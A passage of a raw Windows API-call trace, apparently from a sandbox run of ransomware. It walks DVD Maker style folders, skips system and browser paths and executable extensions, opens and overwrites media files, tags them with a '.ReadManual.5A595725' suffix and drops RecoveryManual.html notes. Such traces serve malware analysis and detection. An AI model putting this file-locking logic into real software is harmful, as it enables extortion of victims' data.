(lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0253.515] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.516] GetLastError () returned 0x5 [0253.516] GetNamedSecurityInfoW () returned 0x0 [0253.516] SetNamedSecurityInfoW () returned 0x0 [0253.516] SetNamedSecurityInfoW () returned 0x0 [0253.517] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.517] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=12008) returned 1 [0253.517] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ee8, lpName=0x0) returned 0x1a0 [0253.517] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0253.518] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.518] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.519] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.519] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ee8) returned 0x2f0000 [0253.520] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.520] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37418845995) returned 1 [0253.520] CloseHandle (hObject=0x1a0) returned 1 [0253.520] SetSecurityInfo () returned 0x5 [0253.520] SetSecurityInfo () returned 0x5 [0253.520] LocalFree (hMem=0x674d38) returned 0x0 [0253.520] CloseHandle (hObject=0x184) returned 1 [0253.520] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0253.520] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0253.520] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0253.520] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Pets" | out: lpString1="Pets") returned="Pets" [0253.520] lstrcatW (in: lpString1="Pets", lpString2="\\" | out: lpString1="Pets\\") returned="Pets\\" [0253.520] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\Windows\\") returned 0x0 [0253.520] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0253.520] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0253.520] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0253.520] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\WINNT") returned 0x0 [0253.520] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\Windows.old\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\PerfLog\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\WindowsApps\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Windows Defender\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\microsoft shared\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\Tor Browser\\") returned 0x0 [0253.521] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0253.521] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\") returned 53 [0253.521] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0253.523] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\" [0253.523] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.523] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0253.523] lstrcpyW (in: lpString1=0x6ab906, lpString2="Notes_INTRO_BG.wmv" | out: lpString1="Notes_INTRO_BG.wmv") returned="Notes_INTRO_BG.wmv" [0253.523] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="RecoveryManual.html") returned -1 [0253.523] StrStrIW (lpFirst="Notes_INTRO_BG.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.523] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.523] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.523] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" [0253.523] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.ReadManual.5A595725" [0253.523] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.ReadManual.5A595725") returned 91 [0253.523] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37419222517) returned 1 [0253.524] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0253.524] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.524] GetLastError () returned 0x5 [0253.524] GetNamedSecurityInfoW () returned 0x0 [0253.524] SetNamedSecurityInfoW () returned 0x0 [0253.524] SetNamedSecurityInfoW () returned 0x0 [0253.525] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.525] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=237226) returned 1 [0253.525] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39eaa, lpName=0x0) returned 0x1a0 [0253.525] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0253.526] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.526] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.527] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.528] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39eaa) returned 0x2690000 [0253.534] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.535] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37420385381) returned 1 [0253.535] CloseHandle (hObject=0x1a0) returned 1 [0253.535] SetSecurityInfo () returned 0x5 [0253.535] SetSecurityInfo () returned 0x5 [0253.535] LocalFree (hMem=0x674d38) returned 0x0 [0253.535] CloseHandle (hObject=0x184) returned 1 [0253.535] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\" [0253.536] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RecoveryManual.html" [0253.536] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0253.536] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0253.537] CloseHandle (hObject=0x184) returned 1 [0253.537] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0253.537] lstrcpyW (in: lpString1=0x6ab906, lpString2="Notes_INTRO_BG_PAL.wmv" | out: lpString1="Notes_INTRO_BG_PAL.wmv") returned="Notes_INTRO_BG_PAL.wmv" [0253.537] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0253.537] StrStrIW (lpFirst="Notes_INTRO_BG_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.537] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.537] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.537] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.537] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.537] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.537] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.537] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.537] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.538] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.538] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.538] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.538] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.538] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.538] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.538] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" [0253.538] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.ReadManual.5A595725" [0253.538] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.ReadManual.5A595725") returned 95 [0253.538] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37420658986) returned 1 [0253.538] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0253.539] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.539] GetLastError () returned 0x5 [0253.539] GetNamedSecurityInfoW () returned 0x0 [0253.539] SetNamedSecurityInfoW () returned 0x0 [0253.539] SetNamedSecurityInfoW () returned 0x0 [0253.540] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.540] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=253220) returned 1 [0253.540] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3dd24, lpName=0x0) returned 0x1a0 [0253.540] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0253.541] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.541] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.542] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.542] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3dd24) returned 0x2690000 [0253.548] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.550] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37421875341) returned 1 [0253.550] CloseHandle (hObject=0x1a0) returned 1 [0253.550] SetSecurityInfo () returned 0x5 [0253.550] SetSecurityInfo () returned 0x5 [0253.550] LocalFree (hMem=0x674d38) returned 0x0 [0253.550] CloseHandle (hObject=0x184) returned 1 [0253.553] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0253.553] lstrcpyW (in: lpString1=0x6ab906, lpString2="Notes_LOOP_BG.wmv" | out: lpString1="Notes_LOOP_BG.wmv") returned="Notes_LOOP_BG.wmv" [0253.553] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="RecoveryManual.html") returned -1 [0253.553] StrStrIW (lpFirst="Notes_LOOP_BG.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.553] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.553] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.553] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.553] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.553] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.553] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.553] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.554] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.554] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.554] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.554] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.554] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.554] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.554] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.554] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" [0253.554] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.ReadManual.5A595725" [0253.554] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.ReadManual.5A595725") returned 90 [0253.554] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37422262460) returned 1 [0253.554] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0253.554] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.554] 